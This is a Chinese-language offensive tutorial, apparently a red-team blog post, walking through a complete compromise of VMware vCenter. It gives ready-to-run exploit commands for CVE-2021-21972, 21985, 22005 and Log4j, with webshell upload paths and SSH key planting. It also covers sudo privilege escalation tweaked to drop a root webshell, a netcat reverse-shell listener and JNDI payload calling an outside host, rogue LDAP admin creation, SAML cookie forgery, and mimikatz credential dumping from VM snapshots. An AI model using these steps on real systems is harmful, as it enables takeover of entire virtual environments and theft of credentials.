01前言
Vcenter不用多说,懂的都懂,Vcenter是构建私有云基础架构的软件,它提供了一个可伸缩、可扩展的平台,为 虚拟化管理奠定了基础。VMware vCenter Server(以前称为 VMware VirtualCenterl),可集中管理 VMware vSphere 环境,与其他管理平台相比,极大地提高了 IT 管理员对虚拟环境的控制。
一句话概括:Vcenter是用来控制虚拟环境的,是一个集权系统,那么拿下它,就等同于拿下了它控制的所有虚拟主机。
02小技巧
vcenter版本获取
/sdk/vimServiceVersions.xml
数据库位置
http://x.x.x.x/eam/vib?id=c:\programData\Vmware\vCenterServer\cfg\vmware-vpx\vcdb.properties
网络空间测绘
app="vmware-vCenter"
或者 title="+ ID_VC_Welcome +"
" ID_VC_Welcome +" && country="JP"
攻防流程
1、判断vcenter版本
2、扫描是否存在相关漏洞
3、低权限-提权-高权限
4、ldap添加用户、伪造cookie获取web后台权限
5、获取后台锁屏机器权限
03获取Vcenter低权限
任意文件读取漏洞CVE-2021-21980
影响范围
vCenter Server 6.7
vCenter Server 6.5
Cloud Foundation (vCenter Server) 3.x
漏洞利用
具体怎么利用呢?看下面:
1、可读取postgresql数据库配置文件
http://x.x.x.x/eam/vib?id=c:\programData\Vmware\vCenterServer\cfg\vmware-vpx\vcdb.properties
读取data数据,然后提权cookie 从而登录到后台中
https://x.x.x.x/eam/vib?id=C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
CVE-2021-21972 rce
漏洞验证
Url拼接下面这个路径:
/ui/vropspluginui/rest/services/uploadova
如果页面返回状态码为200、405,则可能存在漏洞
影响版本
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
可直接利用攻击脚本进行攻击利用!
需要根据windows\linux 系统,不断的拼接url, 攻击脚本至少需要写120次,寻找真实的绝对路径,受网络问题影响较大,如果写入成功,就会直接回显shell地址。
windows系统
附上工具链接:
https://github.com/horizon3ai/CVE-2021-21972
python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp
参数用法含义如下:
-t (目标地址)
-f (上传的文件)
-p (上传后的webshell路径,默认不用改)
上传后的路径为
https://x.x.x.x/statsreport/gsl.jsp
完整路径为
C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport
Windows路径
../../../../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/log.jsp
对应shell地址是/statsreport/log.jsp
Linux系统
思路:写webshell、写私钥
1、写公私钥(需要22端口开放)
往目录../../home/vsphere-ui/.ssh/authorized_keys写就行
python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub
Linux shell路径
../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/log.jsp
对应shell地址是/ui/resources/log.jsp
工具链接:
https://github.com/NS-Sp4ce/CVE-2021-21972
CVE-2021-21985 rce
可利用脚本直接攻击vcenter_cve_2021_21985 。
影响版本
VMware vCenter Server 7.0系列 < 7.0.U2b
VMware vCenter Server 6.7系列 < 6.7.U3n
VMware vCenter Server 6.5系列 < 6.5 U3p
VMware Cloud Foundation 4.x 系列 < 4.2.1
VMware Cloud Foundation 4.x 系列 < 3.10.2.1
出网利用
工具链接:
https://github.com/r0ckysec/CVE-2021-21985
用法如下:
1、在vps
java -jar JNDIInjection-Bypass.jar 1099 <监听port>
2、在vps
# nc接收反弹shell
nc -lvvp <监听port>
3、攻击机:
python cve-2021-21985_exp.py
条件:
需要目标出网
如果目标不出网,可以尝试研究下原理,打个内存马。感兴趣的可以私聊交流一下!!当然也可以看一下下面的不出网利用。
不出网利用
工具链接:
https://github.com/r0ckysec/CVE-2021-21985
具体原理:
利用ClassPathXmlApplicationContext类加载xml文件触发spel注入,weblogic和jackson都有关于这个类的cve,利用方式都差不多。
04获取高权限
提权
对于上文通过漏洞获取的低权限主机,我们可以利用提权漏洞进行提权,高权限方便我们获取web后台权限
笔者认为vcenter大部分的Linux系统都是存在sudo提权漏洞的,所以这里着重介绍了sodu,如果使用sodu提权失败了,也可以尝试其他的提权方式。
1、CVE-2021-3156
https://github.com/worawit/CVE-2021-3156
vCenter的linux版可以直接用sudo提权(测了7u1和7u3j),直接用网上的python脚本。
重点讲讲两个脚本:
exploit_defaults_mailer.py
需要在交互的情景使用,使用后会在/tmp/目录下生成一个二进制文件,执行文件即可获得一个root的shell
exploit_userspec.py
往指定地点写入文件内容,这个脚本会往/etc/passwd目录下写入一个gg用户,其实就是一个任意文件写入的利用。
我们可以通过更改写入的路径和写入的内容,写一个root权限的webshell到vCenter服务器上
具体脚本,可以各位大佬们具体修改,这样才能发挥奇效。
我们可以通过更改写入的路径和写入的内容,写一个root权限的webshell到vCenter服务器上
改动:
PASSWD_PATH=b’/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/1.jsp’
APPEND_CONTENT=b’webshell内容’
即可在https://172.16.xx.xx/idm/..;/1.jsp (这里是用到了一个tomcat越权的tips,可以参考CVE-2021-22005的利用)得到一个root权限的webshell
如果想吃现成的,可以关注一下公众号,私信我哦!
2、其他提权
CVE-2022-0847 是Linux内核的本地提权漏洞。原理类似于Dirty Cow linux提权
CVE-2021-4034 Linux polkit权限提升漏洞
CVE-2021-3560
CVE-2021-3493
等等其他一些提权cve,只要能提权,哪个漏洞其实都无所谓!
cve-2021-22005 任意文件上传
该漏洞获取的shell默认为root权限,可以直接读取mdb文件。
漏洞:
攻击者可通过VMware vCenter Server 443端口上传恶意文件,在vCenter Server上执行任意代码。
影响版本:
VMware vCenter Server 7.0系列 < 7.0.U2b
VMware vCenter Server 6.7系列 < 6.7.U3n
VMware vCenter Server 6.5系列 < 6.5 U3p
VMware Cloud Foundation 4.x 系列 < 4.2.1
VMware Cloud Foundation 4.x 系列 < 3.10.2.1
漏洞利用
https://github.com/shmilylty/cve-2021-22005-exp
exp.exe -t -s
如果不指定-s的话,会上传默认的cmd.jsp,可以指定自己生成的马儿。
上传后的webshell完整路径为:
/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp
CVE-2021-44228 Log4j
xff header jndi注入内存马
漏洞成因是Vcenter的SAML路由中,可以通过增加XFF头触发漏洞,把需要执行的命令跟在XFF后面。
目录攻击url: /websso/SAML2/SSO/vsphere.local?SAMLRequest=
poc :
x-forwarded-for:{jndi}
GET/websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
DNSlog探测漏洞是否存在; 内网 不出网,可以在内网搭建ldap。 直接注入内存马
05 后渗透获取web权限
ldap添加用户
ldap直接添加vcenter管理员账号。需要高权限
第一步 在目标vcenter 导出ldap凭据信息
linux列ldap信息:
/opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\services\vmdir]'
windows:列ldap信息方法:
reg query '\\HKEY_THIS_MACHINE\\services\\vmdir'
reg query "HKLM\SYSTEM\CurrentControlSet\services\VMwareDirectoryService" /v
dcAccountDN
第二步直接上脚本添加账户,再添加到管理员:
自己修改脚本:改成不input,避免密码的编码问题。 但是需要将ldap的凭证信息 填写进我们脚本中,然后一步到位。不用输入添加的账号和密码 。都是默认的
有linux、windows两个版本。
截图如下:
老规矩:
如果想吃现成的,可以关注一下公众号,私信我哦!
伪造cookie
方法一
脚本:
https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py
1、获取data.mdb :
windows::C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
linux
/storage/db/vmware-vmdir/data.mdb
利用data.mdb 提取ldp证书 进行身份验证获取有效管理员的cookie
利用脚本进行攻击:
python vcenter_saml_login.py -t <目标机器内网ip> -p data.mdb
获取到cookie session
直接使用生成的cookie访问vcenter服务器:http://xx.xx.xx.xx/ui
直接利用修改cookie工具进行修改cookie,进入后台。
方法二 用于data.mdb比较大的情况
参考3gstudent的文章:
https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-vCenter-SAML-Certificates
与方法一的区别就是该脚本vCenter_ExtraCertFromMdb.py可以直接在目标vcenter上运行,会生成证书!!!。
python vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb
然后把cat证书文件复制到本地,然后运行脚本vCenter_GenerateLoginCookie.py获得cookie
06获取后台的锁屏机器权限
创建快照
如果目标 VM 是 Microsoft Windows 8/8.1、Windows Server 2012、Windows Server 2016 或 Windows Server 2019,则执行-W8,否则使用-W:
.\vmss2core-sb-8456865.exe -W8 '.\Windows Server 2012-Snapshot1.vmsn' '.\Windows Server 2012-Snapshot1.vmem'
.load D:\Download\mimikatz_trunk\x64\mimilib.dll
.Reload
!process 0 0 lsass.exe
.process /r /p ffffe001084e32c0
!mimikatz
方法二:KonBoot引导
笔者觉得,获取后台锁屏机器的权限,目前所有方法都是由风险的,不管是KonBoot引导,还是挂载VMDK,还是其他的方式,都或多或少都有点风险,所以不到万不得已,不要用这些骚操作!
笔者在这里只是简单说一下KonBoot引导,这个是笔者看来目前算是比较好用的方法了!有其他好用的方法,也可以私聊笔者一起讨论一下。
参考谢公子的文章:
https://mp.weixin.qq.com/s/Okxc4CdFRPe82UHN4UXQHQ
写的非常详细!!!推荐!!!!
最后文中所有的脚本,魔改后的脚本,思路,everything,都可以私信我哦!